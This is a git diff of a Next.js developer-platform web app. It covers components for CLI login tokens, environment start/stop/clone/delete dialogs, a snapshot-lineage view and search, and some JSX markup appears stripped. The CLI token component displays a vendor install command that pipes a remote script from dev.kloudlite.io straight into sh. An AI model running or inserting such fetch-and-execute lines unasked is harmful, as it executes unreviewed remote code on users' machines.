a/web/apps/web/src/components/app/cli-tokens.tsx b/web/apps/web/src/components/app/cli-tokens.tsx new file mode 100644 index 00000000..9bd322ef --- /dev/null +++ b/web/apps/web/src/components/app/cli-tokens.tsx @@ -0,0 +1,50 @@ +import { Terminal } from "lucide-react"; +import { Button } from "@/components/ui/button"; +import { DeleteForm } from "@/components/app/delete-form"; +import { revokeCliToken } from "@/app/(shell)/settings/actions"; +import { when } from "@/lib/time"; +import type { ApiCliToken } from "@/lib/api"; + +/** The CLI logins this person has approved. There is no "add" here on purpose: a login + * starts at the terminal with `kl login` and is approved on /cli/authorize — this list is + * only the record of it, and the way to take one back. */ +export function CliTokens({ tokens }: { tokens: ApiCliToken[] }) { + return ( + <> +

+ Install the CLI with{" "} + curl -fsSL https://dev.kloudlite.io/install.sh | sh, + then run kl login. +

+ + {tokens.length === 0 ? ( +

+ No CLI logins yet. +

+ ) : ( +
    + {tokens.map((t) => ( +
  • + +
    +
    {t.name || "Unnamed device"}
    +
    + Signed in {when(Date.parse(t.createdAt))} · expires {when(Date.parse(t.expiresAt))} +
    +
    + + + +
    • + ))} +
+ )} + + ); +} diff --git a/web/apps/web/src/components/app/dashboard.tsx b/web/apps/web/src/components/app/dashboard.tsx deleted file mode 100644 index a84b407b..00000000 --- a/web/apps/web/src/components/app/dashboard.tsx +++ /dev/null @@ -1,53 +0,0 @@ -import { GitCommitHorizontal, Rocket, Tag, XCircle } from "lucide-react"; -import { RepoList } from "@/components/app/repo-list"; -import { ACTIVITY, type Activity } from "@/lib/mock"; -import type { ApiRepo } from "@/lib/api"; - -function ActivityIcon({ kind, ok }: Pick) { - const cls = ok === false ? "text-destructive" : "text-muted-foreground"; - const Icon = - kind === "deploy" ? Rocket : kind === "release" ? Tag : kind === "pipeline" ? XCircle : GitCommitHorizontal; - return ; -} - -/** Home for a signed-in user is the Code Repos list. The section tab already names - * the page, so there is no title to repeat: one toolbar row — filter, scope, count, - * primary action — then the list. Every list page in the product shares this shape. */ -export function Dashboard({ owner, repos }: { owner: string; repos: ApiRepo[] }) { - return ( - <> -
-
- -
- - -
- - ); -} diff --git a/web/apps/web/src/components/app/declared-list.tsx b/web/apps/web/src/components/app/declared-list.tsx deleted file mode 100644 index 1c18a85b..00000000 --- a/web/apps/web/src/components/app/declared-list.tsx +++ /dev/null @@ -1,53 +0,0 @@ -import Link from "next/link"; -import { FileCode } from "lucide-react"; -import { Input } from "@/components/ui/input"; -import { Search } from "lucide-react"; -import type { Session } from "@/lib/session"; -import type { Declared } from "@/lib/mock"; - -/** The pointer every team-level item carries: the repo and file that declare it. - * There is no edit button on these pages on purpose — the file is the edit. */ -export function Source({ owner, source }: { owner: string; source: Declared }) { - return ( - - - {source.repo}/{source.path} - - ); -} - -/** Frame for the three declared-as-code sections: same toolbar, same explanation - * of where the items come from, then the section's own list. */ -export function DeclaredPage({ - session, - filterLabel, - dir, - count, - children, -}: { - session: NonNullable; - filterLabel: string; - dir: string; - count: number; - children: React.ReactNode; -}) { - return ( - <> -
-
- - -
-

- {count} across the team · declared in{" "} - .kloudlite/{dir} -

-
-
{children}
- - ); -} diff --git a/web/apps/web/src/components/app/delete-form.tsx b/web/apps/web/src/components/app/delete-form.tsx new file mode 100644 index 00000000..158c585c --- /dev/null +++ b/web/apps/web/src/components/app/delete-form.tsx @@ -0,0 +1,47 @@ +"use client"; + +import { useActionState } from "react"; + +export type DeleteState = { error?: string } | null; + +/** A one-button form that can fail. The six destructive actions used to return + * nothing, so a refused delete looked like a click that did not register. This + * holds the action state so a server component can still render the row. + * + * `confirm` is the browser's own dialog: a delete that cannot be undone gets one + * question, and a custom modal would be a component for one sentence. */ +export function DeleteForm({ + action, + fields, + confirm, + className, + children, +}: { + action: (prev: DeleteState, formData: FormData) => Promise; + /** Hidden inputs: what the action is about has to travel with the request. */ + fields: Record; + confirm?: string; + className?: string; + children: React.ReactNode; +}) { + const [state, act, pending] = useActionState(action, null); + return ( +
{ + if (confirm && !window.confirm(confirm)) e.preventDefault(); + }} + className={className} + > + {Object.entries(fields).map(([name, value]) => ( + + ))} + {state?.error && ( +

{state.error}

+ )} + {/* `contents` so the fieldset adds no box; `disabled` so the button goes + inert while the request is out without each caller wiring `pending`. */} +
{children}
+
+ ); +} diff --git a/web/apps/web/src/components/app/env-actions.tsx b/web/apps/web/src/components/app/env-actions.tsx new file mode 100644 index 00000000..cd6dacc5 --- /dev/null +++ b/web/apps/web/src/components/app/env-actions.tsx @@ -0,0 +1,193 @@ +"use client"; + +import { useActionState } from "react"; +import { Camera, Loader2, Play, Plus, Square, Trash2 } from "lucide-react"; +import { Button } from "@/components/ui/button"; +import { Input } from "@/components/ui/input"; +import { + Dialog, DialogContent, DialogDescription, DialogFooter, DialogHeader, DialogTitle, DialogTrigger, +} from "@/components/ui/dialog"; +import { useDialogUntilSuccess } from "@/lib/use-dialog-until-success"; +import { + cloneEnvironment, deleteEnvironment, deleteEnvironmentSnapshots, pushEnvironment, startEnvironment, + stopEnvironment, type EnvActionState, +} from "@/app/(shell)/[owner]/(org)/environments/actions"; +import type { EnvState } from "@/lib/api"; + +/** Start/stop, the bare-form idiom: one hidden id, no dialog, since neither takes a value. */ +function ToggleForm({ owner, id, running }: { owner: string; id: string; running: boolean }) { + const action = running ? stopEnvironment : startEnvironment; + const [state, act, pending] = useActionState(action, null); + return ( +
+ + + +
+ ); +} + +/** A push with an optional message. The api answers with the REQUEST's id, never the snapshot — + * the record shows up in the Snapshots tab when the push lands, which is what that tab polls + * for. So this dialog's job ends at "asked". */ +function PushDialog({ owner, id }: { owner: string; id: string }) { + const [state, action, pending] = useActionState(pushEnvironment, null); + const [open, setOpen] = useDialogUntilSuccess(state); + return ( + + + + + +
+ + Push a snapshot + + One snapshot of the environment’s whole volume, every service’s data + included, taken at the same instant. + + + + + + {state?.error &&

{state.error}

} + + + + +
+ + + ); +} + +/** The archived environment's one action: its snapshots are the last copy of that data. */ +export function DeleteSnapshotsDialog({ owner, id, name }: { owner: string; id: string; name: string }) { + const [state, action, pending] = useActionState(deleteEnvironmentSnapshots, null); + const [open, setOpen] = useDialogUntilSuccess(state); + return ( + + + + + +
+ + Delete {name}’s snapshots? + + Permanent. This is the last copy of that environment’s data — nothing else + references it once the row is gone. + + + + + {state?.error &&

{state.error}

} + + + + +
+ + + ); +} + +/** A name prompt and nothing else — a new environment from this one's current volume. */ +function CloneEnvDialog({ owner, id }: { owner: string; id: string }) { + const [state, action, pending] = useActionState(cloneEnvironment, null); + const [open, setOpen] = useDialogUntilSuccess(state); + return ( + + + + + +
+ + Clone environment + A new environment, starting from this one’s current volume. + + + + + {state?.error &&

{state.error}

} + + + + +
+ + + ); +} + +/** Delete keeps its snapshots by DEFAULT — the row becomes archived, which is the reversible + * outcome. The checkbox is the irreversible one, and it is off. */ +export function DeleteEnvDialog({ owner, id, name }: { owner: string; id: string; name: string }) { + const [state, action, pending] = useActionState(deleteEnvironment, null); + const [open, setOpen] = useDialogUntilSuccess(state); + return ( + + + + + +
+ + Delete {name}? + + Stops its services, pushes one final snapshot of its volume, then removes it from + the node. + + + + + + {state?.error &&

{state.error}

} + + + + +
+ + + ); +} + +/** `state === null` is an ARCHIVED environment: there is nothing to start, stop or push, because + * there is no environment — only its snapshots. */ +export function EnvHeaderActions({ + owner, + id, + state, +}: { + owner: string; + id: string; + state: EnvState | null; +}) { + // Deleting — the environment or its snapshots — lives on the Settings tab, where every other + // destructive action in the product lives. The header is what you DO with a running thing. + if (state === null) return null; + return ( + <> + + + + + ); +} diff --git a/web/apps/web/src/components/app/env-settings.tsx b/web/apps/web/src/components/app/env-settings.tsx new file mode 100644 index 00000000..600757ca --- /dev/null +++ b/web/apps/web/src/components/app/env-settings.tsx @@ -0,0 +1,64 @@ +import { SettingsSection as Section } from "@/components/app/settings-section"; +import { DeleteEnvDialog, DeleteSnapshotsDialog } from "@/components/app/env-actions"; + +/** Everything about an environment that is a setting rather than a fact — which today is the way + * out, and the name it cannot change. + * + * An ARCHIVED environment (`archived`) has no object left to configure or delete: the one thing + * still deletable is its snapshots, so that is the only section it gets. The tab row stays the + * same either way — a row that loses a tab reads as a page that failed to load. */ +export function EnvSettings({ + owner, + id, + name, + archived, +}: { + owner: string; + id: string; + name: string; + archived: boolean; +}) { + return ( +
+

Environment settings

+ + {!archived && ( +
+
+
{name}
+

+ Renaming is not supported yet — the api has no rename, and the name is what its + namespace and its DNS are built from. Clone it under the name you want instead. +

+
+
+ )} + +
+
+

+ {archived ? ( + <> + The environment is already gone. Its snapshots are the last copy of that data — + nothing else references them once they are deleted. + + ) : ( + <> + Deleting stops its services, pushes one final snapshot, and removes it from the + node. Its snapshots survive as an archived row unless you say otherwise in the + dialog. + + )} +

+
+ {archived ? ( + + ) : ( + + )} +
+
+
+
+ ); +} diff --git a/web/apps/web/src/components/app/env-snapshots.tsx b/web/apps/web/src/components/app/env-snapshots.tsx new file mode 100644 index 00000000..0b733f3d --- /dev/null +++ b/web/apps/web/src/components/app/env-snapshots.tsx @@ -0,0 +1,537 @@ +"use client"; + +import { useActionState, useEffect, useState } from "react"; +import { Camera, Loader2, RotateCcw, Trash2 } from "lucide-react"; +import { Button } from "@/components/ui/button"; +import { Input } from "@/components/ui/input"; +import { + Dialog, DialogContent, DialogDescription, DialogFooter, DialogHeader, DialogTitle, DialogTrigger, +} from "@/components/ui/dialog"; +import { FastRefresh } from "@/components/app/fast-refresh"; +import { useDialogUntilSuccess } from "@/lib/use-dialog-until-success"; +import { when } from "@/lib/time"; +import { pendingPush } from "@/lib/pending-push"; +import { + deleteEnvironmentSnapshot, pushEnvironment, restoreEnvironmentFrom, type EnvActionState, +} from "@/app/(shell)/[owner]/(org)/environments/actions"; + +export type SnapshotNode = { id: string; message?: string; created_at: string; parent: string | null }; + +/** The rail's geometry, lifted from the landing page's environment panel so the two read as one + * drawing: the main lane 27px in, a branch lane every 18px further, a 12px ring on the lane. */ +const LANE0 = 27; +const LANE = 18; +const RING = 6; + +type Row = { + key: string; + lane: number; + /** Lanes running straight through this row. */ + through: number[]; + /** Lanes that end on this row: a line from the top down to the node. */ + ends: number[]; + /** Lanes that start on this row: a line from the node down to the bottom. */ + starts: number[]; + /** A branch lane whose oldest record sits ABOVE this row and whose parent is this row's node: + * the line comes down that lane and elbows into the node here. */ + joins: number[]; +}; + +const laneX = (l: number) => LANE0 + l * LANE; + +/** The rail beside one row: absolutely positioned so it is exactly the row's height, whatever + * the row holds. Lines and elbows are drawn to the row's vertical middle, where the ring sits. */ +function Rail({ row, lanes, variant }: { row: Row; lanes: number; variant: "live" | "current" | "pending" | "past" }) { + const x = laneX(row.lane); + const stroke = (l: number) => (l === 0 ? "stroke-primary/40" : "stroke-border"); + return ( + + {row.through.map((l) => ( + + ))} + {row.ends.map((l) => ( + + ))} + {row.starts.map((l) => ( + + ))} + {row.joins.map((l) => ( + + + + + ))} + {variant === "live" ? ( + + ) : variant === "current" ? ( + + ) : variant === "pending" ? ( + + ) : ( + + )} + + ); +} + +function Node({ + row, + lanes, + variant, + children, +}: { + row: Row; + lanes: number; + variant: "live" | "current" | "pending" | "past"; + children: React.ReactNode; +}) { + return ( +
  • + +
    {children}
    +
    • + ); +} + +/** Restore, in the one dialog both shapes share. + * + * Live: always IN PLACE — there is nothing to name, and the one thing the dialog has to make + * unmissable is that the changes since the current snapshot are discarded. Keeping them is the + * minor option: closed until asked for, and it opens a message field for the safety snapshot + * the restore then waits on, so "you can come back to it" is true rather than merely offered. + * + * Archived: nothing to discard and nothing to restore into, so it asks for a name instead. */ +function RestoreDialog({ + owner, + id, + snapshot, + envName, + current, +}: { + owner: string; + id: string; + snapshot: SnapshotNode; + /** `null` for an archived environment: no volume to restore into, so every restore is new. */ + envName: string | null; + current: SnapshotNode | null; +}) { + const [state, action, pending] = useActionState(restoreEnvironmentFrom, null); + const [open, setOpen] = useDialogUntilSuccess(state); + const [keep, setKeep] = useState(false); + const label = snapshot.message || "snapshot"; + const since = current + ? `\u201c${current.message || "snapshot"}\u201d (${when(new Date(current.created_at).getTime())})` + : null; + return ( + + + + + +
    + + Restore to “{label}” + + {envName ? ( + <>The environment’s services stop, its data is replaced with this snapshot, and they start again. + ) : ( + <> + A new environment, holding this exact snapshot’s data, with the services the + push recorded — none, for a snapshot taken before they were. + + )} + + + + + + {/* The dialog's own choice, stated outright: the action never infers it from a name. */} + + {envName ? ( + <> +

    + {since + ? `Every change made since ${since} will be discarded. This cannot be undone.` + : "Every change made since the last snapshot will be discarded. This cannot be undone."} +

    +
    + {keep ? ( +
    + + + +
    + ) : ( + + )} +
    + + ) : ( + + )} + {state?.error &&

    {state.error}

    } + + + + +
    +     +     + ); +} + +/** Delete ONE record. Deliberately worded as removing a RECORD: nothing about the environment's + * disk changes, and the current node says so a second time — the lineage stops showing where the + * environment sits, which is the only thing that actually goes. */ +function DeleteSnapshotDialog({ + owner, + id, + snapshot, + isCurrent, +}: { + owner: string; + id: string; + snapshot: SnapshotNode; + isCurrent: boolean; +}) { + const [state, action, pending] = useActionState(deleteEnvironmentSnapshot, null); + const [open, setOpen] = useDialogUntilSuccess(state); + // The id, not the word "snapshot": the dialog names ONE record among several that may all be + // message-less, and "Delete snapshot “snapshot”?" names none of them. + const label = snapshot.message || snapshot.id.slice(0, 8); + return ( + + + + + +
    + + Delete snapshot “{label}” + + Delete snapshot “{label}” ({when(new Date(snapshot.created_at).getTime())})? The + record is removed from the lineage; the environment’s disk is not affected. + {isCurrent && ( + <> + {" "} + This is the snapshot the environment currently sits on; deleting the record does not + change the disk, but the lineage will no longer show where it is. + + )} + + + + + + {state?.error &&

    {state.error}

    } + + + + +
    +     +     + ); +} + +export function EnvSnapshots({ + owner, + id, + envName, + pusher, + history, + restoredTo, + restoredAt, +}: { + owner: string; + id: string; + /** `null` for an archived environment — nothing to push, nothing to restore in place. */ + envName: string | null; + pusher: string; + history: SnapshotNode[]; + /** The Volume's `restoredTo`/`restoreRequestedAt`: where an in-place restore put the disk. */ + restoredTo: string | null; + restoredAt: string | null; +}) { + // Take a snapshot, from the live node. The api answers with the REQUEST's id — the record only + // appears in the history once the push lands — so the request id, plus how long the history was + // when it was made, is the whole "still uploading" test. Adjusted DURING render (React's own + // pattern for state derived from a prop) rather than in an effect: an effect that sets state + // renders twice and, on this one, would fight the 2 s poll it exists to drive. + const [pushState, dispatchPush, pushing] = useActionState(pushEnvironment, null); + const [asked, setAsked] = useState<{ request: string; had: number } | null>(null); + const [stale, setStale] = useState(false); + // `had` is the length at SUBMIT, not at the render carrying the result: the action already + // revalidates the page, so a fast push lands in the same render its request id arrives in, and + // a length read then would count the new record and wait for one more that never comes. + const [hadAtSubmit, setHadAtSubmit] = useState(0); + const pushAction = (fd: FormData) => { + setHadAtSubmit(history.length); + dispatchPush(fd); + }; + if (pushState?.requestId && asked?.request !== pushState.requestId) { + setAsked({ request: pushState.requestId, had: hadAtSubmit }); + setStale(false); + } + // Cleared the moment the record lands and never re-derived from the length afterwards: a + // history that later shrinks (a deleted record) must not put a landed push back into + // "uploading…" and, five minutes on, into a false "has not landed". + if (asked && !pendingPush(asked, history.length)) setAsked(null); + const waiting = asked !== null; + // A push that FAILS leaves its SnapshotRequest in `error` and writes no record at all, so + // "uploading…" would spin forever on a page nobody ever told. Five minutes, then say so and stop + // polling. ponytail: a wall-clock deadline rather than the request's own status — follow that + // instead once `/v1` projects a SnapshotRequest by id. + useEffect(() => { + if (!waiting) return; + const t = setTimeout(() => setStale(true), 5 * 60_000); + return () => clearTimeout(t); + }, [waiting, asked?.request]); + const pendingNode = pushing || (waiting && !stale); + + const byId = new Map(history.map((h) => [h.id, h])); + const descends = (n: SnapshotNode, anc: string): boolean => { + for (let p: SnapshotNode | undefined = n; p; p = p.parent ? byId.get(p.parent) : undefined) { + if (p.id === anc) return true; + } + return false; + }; + const restored = restoredTo ? (byId.get(restoredTo) ?? null) : null; + // Where the environment sits. Never restored: the newest record (one straight chain). Restored: + // the newest record pushed AFTER the restore that descends from the restored one — the + // environment moved on to it — else the restored record itself. Its older children are the + // branches the environment left behind. + const since = restoredAt ? Date.parse(restoredAt) : 0; + const current: SnapshotNode | null = + envName === null + ? null + : restoredTo === null + ? (history[0] ?? null) + : restored === null + ? null + : (history.find((h) => Date.parse(h.created_at) > since && descends(h, restored.id)) ?? restored); + // A `restoredTo` that names no record here: a restore grafted ANOTHER volume's snapshot in + // place. Saying so is the honest answer — badging any record `current` would claim the + // environment is on a snapshot it is not. + const foreignCurrent = restoredTo !== null && restored === null ? restoredTo : null; + + // Oldest first, and the branch the environment is on LAST among siblings, so the live node is + // the bottom of the tree rather than buried between two branches. + const childrenOf = (parent: string | null) => + history + .filter((h) => (h.parent && byId.has(h.parent) ? h.parent : null) === parent) + .sort((a, b) => { + const onPath = (n: SnapshotNode) => (current && descends(current, n.id) ? 1 : 0); + return onPath(a) - onPath(b) || Date.parse(a.created_at) - Date.parse(b.created_at); + }); + + // Flatten the tree into rows, NEWEST first like a log, assigning lanes: the branch the + // environment is on is lane 0 all the way down, every other branch forks onto a fresh lane. The + // live environment (and a snapshot being taken) head the list on lane 0 — the reference is the + // landing page's panel, where "you" sits at the top and the rail runs down from it. + type Flat = { kind: "record" | "pending" | "live"; node: SnapshotNode | null; lane: number }; + const oldestFirst: Flat[] = []; + let lanesUsed = 0; + const walk = (n: SnapshotNode, lane: number) => { + oldestFirst.push({ kind: "record", node: n, lane }); + const kids = childrenOf(n.id); + kids.forEach((k, i) => walk(k, i === kids.length - 1 ? lane : ++lanesUsed)); + }; + childrenOf(null).forEach((r, i, all) => walk(r, i === all.length - 1 ? 0 : ++lanesUsed)); + const flat: Flat[] = [...oldestFirst].reverse(); + const headLane = current ? (flat.find((f) => f.node === current)?.lane ?? 0) : 0; + if (pendingNode) flat.unshift({ kind: "pending", node: null, lane: headLane }); + if (envName) flat.unshift({ kind: "live", node: null, lane: headLane }); + const lanes = lanesUsed + 1; + const first = new Map(); + const last = new Map(); + flat.forEach((f, i) => { + if (!first.has(f.lane)) first.set(f.lane, i); + last.set(f.lane, i); + }); + // A lane runs from the first row it appears on (its newest) to its last (its oldest); below + // that its oldest record's parent sits on another lane, and the line keeps going down to that + // parent's row, where it elbows in. Reading newest-first, that is a branch line dropping down + // into the record it forked from. + const rows: Row[] = flat.map((f, i) => { + const through: number[] = []; + const ends: number[] = []; + const starts: number[] = []; + const joins: number[] = []; + for (let l = 0; l < lanes; l++) { + const a = first.get(l) ?? -1; + const z = last.get(l) ?? -1; + if (a < 0) continue; + const oldest = flat[z].node; + const parentRow = oldest?.parent ? flat.findIndex((g) => g.node?.id === oldest.parent) : -1; + const tail = parentRow > z ? parentRow : z; + if (i === parentRow && parentRow > z && l !== f.lane) joins.push(l); + else if (a < i && i < tail) through.push(l); + else if (i === a && i < tail) starts.push(l); + else if (i === z && a < i) ends.push(l); + } + return { key: f.node?.id ?? f.kind, lane: f.lane, through, ends, starts, joins }; + }); + + return ( + <> + {/* Only while a push is in flight: the shell's 10 s poll would show a landed snapshot late, + and this timer vanishes with the last pending node. */} + {pendingNode && } +
      + {flat.map((f, i) => { + const row = rows[i]; + if (f.kind === "live") { + return ( + +
      + Live environment + + live + +
      +
      + {history.length === 0 ? ( + "No snapshots yet — take one to start the lineage" + ) : current ? ( + <> + changes since “{current.message || "snapshot"}” ( + + {when(new Date(current.created_at).getTime())} + + ) are not snapshotted + + ) : ( + // Neutral on purpose: `restored_to` naming nothing here is either another + // volume's snapshot grafted in, or the record it named having just been + // deleted, and the page cannot tell those apart. + <> + the snapshot the environment is on ( + {foreignCurrent?.slice(0, 8)}) is no longer in + this lineage — changes since are not snapshotted + + )} +
      +
      + + + + + {pushState?.error && ( +

      {pushState.error}

      + )} +
      +       + ); + } + if (f.kind === "pending") { + return ( + +
      +
      +
      Taking a snapshot
      +
      just now · {pusher}
      +
      + + uploading… + +
      +       + ); + } + const c = f.node!; + const ts = new Date(c.created_at); + const isCurrent = c === current; + return ( + +
      +
      + {/* No italics for the fallback: it is the ABSENCE of a message, not a quotation — + muted says that. */} +
      + {c.message || "snapshot"} +
      +
      + {when(ts.getTime())} ·{" "} + {c.id.slice(0, 8)} · {pusher} +
      +
      +
      + {isCurrent ? ( + + current + + ) : ( + + )} + +
      +
      +       + ); + })} + {!envName && history.length === 0 && !pendingNode && ( +
    • + No snapshots. +
      • + )} +
    + + {stale && ( +

    + The snapshot has not landed. Refresh, or check the environment’s state — a push that + failed leaves no record. +

    + )} +

    + Newest first. current is the snapshot the environment sits on; a snapshot taken after + a restore branches off the restored one, and the live environment carries what has changed + since current until you take a snapshot. +

    + + ); +} diff --git a/web/apps/web/src/components/app/environment-list.tsx b/web/apps/web/src/components/app/environment-list.tsx new file mode 100644 index 00000000..952d6ee2 --- /dev/null +++ b/web/apps/web/src/components/app/environment-list.tsx @@ -0,0 +1,163 @@ +"use client"; + +import Link from "next/link"; +import { useMemo, useState } from "react"; +import { FastRefresh } from "@/components/app/fast-refresh"; +import { ChevronRight, Layers, Search } from "lucide-react"; +import { Input } from "@/components/ui/input"; +import { WsEnvStateBadge } from "@/components/app/wsenv-state-badge"; +import { when } from "@/lib/time"; +import type { ApiEnvironment } from "@/lib/api"; + +/** An environment that no longer exists, but whose snapshots do — a volume on the server tier with + * history and no live `Environment`. Restoring one is the whole reason the row is here. */ +export type ArchivedEnv = { + id: string; + name: string; + latest_ms: number | null; + snapshots: number; + /** No push ever recorded what it was called; the row shows the id and says so. */ + named: boolean; +}; + +/** A live row: the environment's own page is one click away, and every action lives THERE. + * + * The row used to carry five buttons. A list is for finding the thing you meant; the actions + * belong where the thing is, which is also the only place that can show what they act on. */ +function LiveRow({ owner, e, latestMs }: { owner: string; e: ApiEnvironment; latestMs: number | null }) { + return ( +
  • + + + + {e.name} + + + + {/* Aggregate view mixes personal and team envs — name the owner when it isn't the page's. */} + {e.owner !== owner ? `${e.owner} · ` : ""} + {e.services.length} {e.services.length === 1 ? "service" : "services"} · {e.region} + {latestMs != null && ` · snapshot ${when(latestMs)}`} + + + + +
    • + ); +} + +export function EnvironmentList({ + owner, + environments, + archived = [], + latest = {}, +}: { + owner: string; + environments: ApiEnvironment[]; + archived?: ArchivedEnv[]; + /** Volume id → epoch millis of its newest snapshot, for the live rows' meta line. */ + latest?: Record; +}) { + const [q, setQ] = useState(""); + // A row on its way up lands in one to three seconds; the shell's 10 s poll would show it late. + const busy = environments.some((x) => x.state === "creating" || x.state === "cloning"); + + const shown = useMemo(() => { + const needle = q.trim().toLowerCase(); + if (!needle) return environments; + return environments.filter((e) => e.name.toLowerCase().includes(needle)); + }, [environments, q]); + + const shownArchived = useMemo(() => { + const needle = q.trim().toLowerCase(); + if (!needle) return archived; + return archived.filter((a) => a.name.toLowerCase().includes(needle) || a.id.includes(needle)); + }, [archived, q]); + + if (environments.length === 0 && archived.length === 0) { + return ( +
    + +

    No environments yet

    +

    + An environment runs one or more services, each backed by a volume. +

    +
    + ); + } + + return ( + <> + {busy && } +
    + + setQ(e.target.value)} + placeholder="Filter environments" + aria-label="Filter environments" + className="h-8 pl-8 text-sm2" + /> +
    + + {shown.length === 0 && shownArchived.length === 0 ? ( +

    + Nothing matches that. +

    + ) : ( + <> + {shown.length > 0 && ( +
      + {shown.map((e) => ( + + ))} +
    + )} + + {/* Archived rows are environments that exist only as DATA. Collapsed, because they are + history rather than working set — and a native `
    `, so the disclosure works + before hydration and needs no state of its own. */} + {shownArchived.length > 0 && ( +
    + + + Archived ({shownArchived.length}) + + — environments that are gone; their snapshots are not + + +
      + {shownArchived.map((a) => ( +
    • + + + + {a.name} + + archived + + + + {a.snapshots} {a.snapshots === 1 ? "snapshot" : "snapshots"} + {a.latest_ms != null && ` · last ${when(a.latest_ms)}`} + {!a.named && " · name not recorded"} + + + + +
      • + ))} +
    +
    + )} + + )} + + ); +} diff --git a/web/apps/web/src/components/app/fast-refresh.tsx b/web/apps/web/src/components/app/fast-refresh.tsx new file mode 100644 index 00000000..4990c10c --- /dev/null +++ b/web/apps/web/src/components/app/fast-refresh.tsx @@ -0,0 +1,25 @@ +"use client"; + +import { useEffect } from "react"; +import { useRouter } from "next/navigation"; + +/** A faster poll for a page that is WATCHING something finish. + * + * The shell's `AutoRefresh` ticks every 10 s for the whole app, which is right for a repo + * list and wrong for a workspace that the agent brings up in one to three seconds — the row + * sat on "Creating" for most of those 10 s after the disk was already mounted. A list renders + * this only while one of its rows is in a transitional state, so the extra timer exists exactly + * as long as there is something to catch and vanishes with the last "creating" row. + * + * ponytail: two timers can coincide and refresh twice in one second; harmless, and cheaper than + * plumbing a shared scheduler through the layout. */ +export function FastRefresh({ intervalMs = 2_000 }: { intervalMs?: number }) { + const router = useRouter(); + useEffect(() => { + const id = setInterval(() => { + if (document.visibilityState === "visible") router.refresh(); + }, intervalMs); + return () => clearInterval(id); + }, [router, intervalMs]); + return null; +} diff --git a/web/apps/web/src/components/app/global-search.tsx b/web/apps/web/src/components/app/global-search.tsx index 6720720c..9003b87d 100644 --- a/web/apps/web/src/components/app/global-search.tsx +++ b/web/apps/web/src/components/app/global-search.tsx @@ -2,21 +2,14 @@ import { useEffect, useState } from "react"; import { useRouter } from "next/navigation"; -import { Layers, Package, Search, SquareCode, SquareTerminal, Zap } from "lucide-react"; +import dynamic from "next/dynamic"; +import { Search } from "lucide-react"; import { Button } from "@/components/ui/button"; import { Kbd } from "@/components/ui/kbd"; -import { - CommandDialog, - CommandEmpty, - CommandGroup, - CommandInput, - CommandItem, - CommandList, - CommandSeparator, -} from "@/components/ui/command"; -import { sections, settingsSection } from "@/components/app/sections"; +import { useOwner } from "@/components/app/shell-nav"; import type { SwitcherOwner } from "@/components/app/team-switcher"; -import { REPOS, TEAM_ENVIRONMENTS, TRIGGERS, WORKSPACE_SESSIONS } from "@/lib/mock"; + +const SearchDialog = dynamic(() => import("./search-dialog").then((m) => m.SearchDialog), { ssr: false }); /** ⌘K over everything in the current owner. One list, grouped by section, so the * answer to "where is X" is the same keystroke regardless of what X turns out to @@ -24,15 +17,27 @@ import { REPOS, TEAM_ENVIRONMENTS, TRIGGERS, WORKSPACE_SESSIONS } from "@/lib/mo * carries the words someone would actually type, not just the display label. * * Scope: what this owner has. It is a jump-to, not a content search — nothing - * here reads file contents, because no endpoint serves them yet. */ -export function GlobalSearch({ owner, owners }: { owner: string; owners: SwitcherOwner[] }) { + * here reads file contents, because no endpoint serves them yet. Only repos are + * listed: they are the one thing the api serves a list of. + * + * The dialog itself (and its repo fetch) load only once ⌘K is first opened. */ +export function GlobalSearch({ + me, + owners, +}: { + me: string; + owners: SwitcherOwner[]; +}) { + const owner = useOwner(me); const [open, setOpen] = useState(false); + const [opened, setOpened] = useState(false); // once true, stays mounted so reopening is instant const router = useRouter(); useEffect(() => { const onKey = (e: KeyboardEvent) => { if (e.key === "k" && (e.metaKey || e.ctrlKey)) { e.preventDefault(); + setOpened(true); setOpen((v) => !v); } }; @@ -49,7 +54,10 @@ export function GlobalSearch({ owner, owners }: { owner: string; owners: Switche <> - - - - Nothing matches that. - - - {REPOS.map((r) => ( - go(`/${owner}/${r.name}`)}> - {r.name} - {r.visibility} - - ))} - - - - {WORKSPACE_SESSIONS.map((w) => ( - go(`/${owner}/workspaces`)}> - {w.task ?? `${w.definition} · ${w.repo}`} - {w.status} - - ))} - - - - {TEAM_ENVIRONMENTS.map((e) => ( - go(`/${owner}/environments`)}> - {e.name} - - ))} - - - - {TRIGGERS.map((t) => ( - go(`/${owner}/ci`)}> - {t.name} - {t.on} - - ))} - - - - - {owners.length > 1 && ( - - {owners.filter((o) => o.slug !== owner).map((o) => ( - go(`/${o.slug}`)}> - {o.slug} - - ))} - - )} - - - {[...sections(owner), settingsSection(owner)].map(({ href, label, icon: Icon }) => ( - go(href)}> - {label} - - ))} - - - + {opened && } ); } diff --git a/web/apps/web/src/components/app/home.tsx b/web/apps/web/src/components/app/home.tsx index 0f7b7ee2..602cedc4 100644 --- a/web/apps/web/src/components/app/home.tsx +++ b/web/apps/web/src/components/app/home.tsx @@ -1,178 +1,214 @@ import Link from "next/link"; -import { ArrowRight, CircleCheck, CircleX, GitCommitHorizontal, Layers, Rocket, Settings2, SquareCode, SquareTerminal, Tag } from "lucide-react"; -import { AppShell } from "@/components/app/app-shell"; -import { Tabs, TabsList, TabsTrigger } from "@/components/ui/tabs"; -import { ENVIRONMENTS, FEED, REPOS, type FeedEvent } from "@/lib/mock"; -import type { Session } from "@/lib/session"; -import { Initials } from "@/components/app/initials"; +import { ArrowRight, SquareCode, Users } from "lucide-react"; +import { RecentActivity } from "@/components/app/recent-activity"; +import { ViewAs } from "@/components/app/view-as"; +import { WsEnvStateBadge } from "@/components/app/wsenv-state-badge"; +import { when } from "@/lib/time"; +import type { ApiEnvironment, ApiEvent, ApiRepo, ApiWorkspace } from "@/lib/api"; -const DAYS: FeedEvent["day"][] = ["Today", "Yesterday", "Earlier this week"]; +/** What to pick up first: the things that are up, then alphabetical. Without an + * order the lists arrive personal-first, so somebody with six personal + * workspaces would never see a team's at all. */ +function byUsefulness(a: T, b: T) { + const up = (t: T) => (t.state === "running" || t.state === "ready" ? 0 : 1); + return up(a) - up(b) || a.name.localeCompare(b.name); +} -/** The left column of a feed item: who or what did it. A person gets initials; a - * system event gets the icon of its kind, tinted only when it carries an outcome. */ -function Origin({ event }: { event: FeedEvent }) { - if (event.actor) { - return ; - } - const tone = - event.ok === true ? "text-success" : event.ok === false ? "text-destructive" : "text-muted-foreground"; - const Icon = - event.kind === "deploy" ? Rocket - : event.kind === "pipeline" ? (event.ok === false ? CircleX : CircleCheck) - : event.kind === "release" ? Tag - : event.kind === "workspace" ? SquareTerminal - : event.kind === "environment" ? Layers - : GitCommitHorizontal; 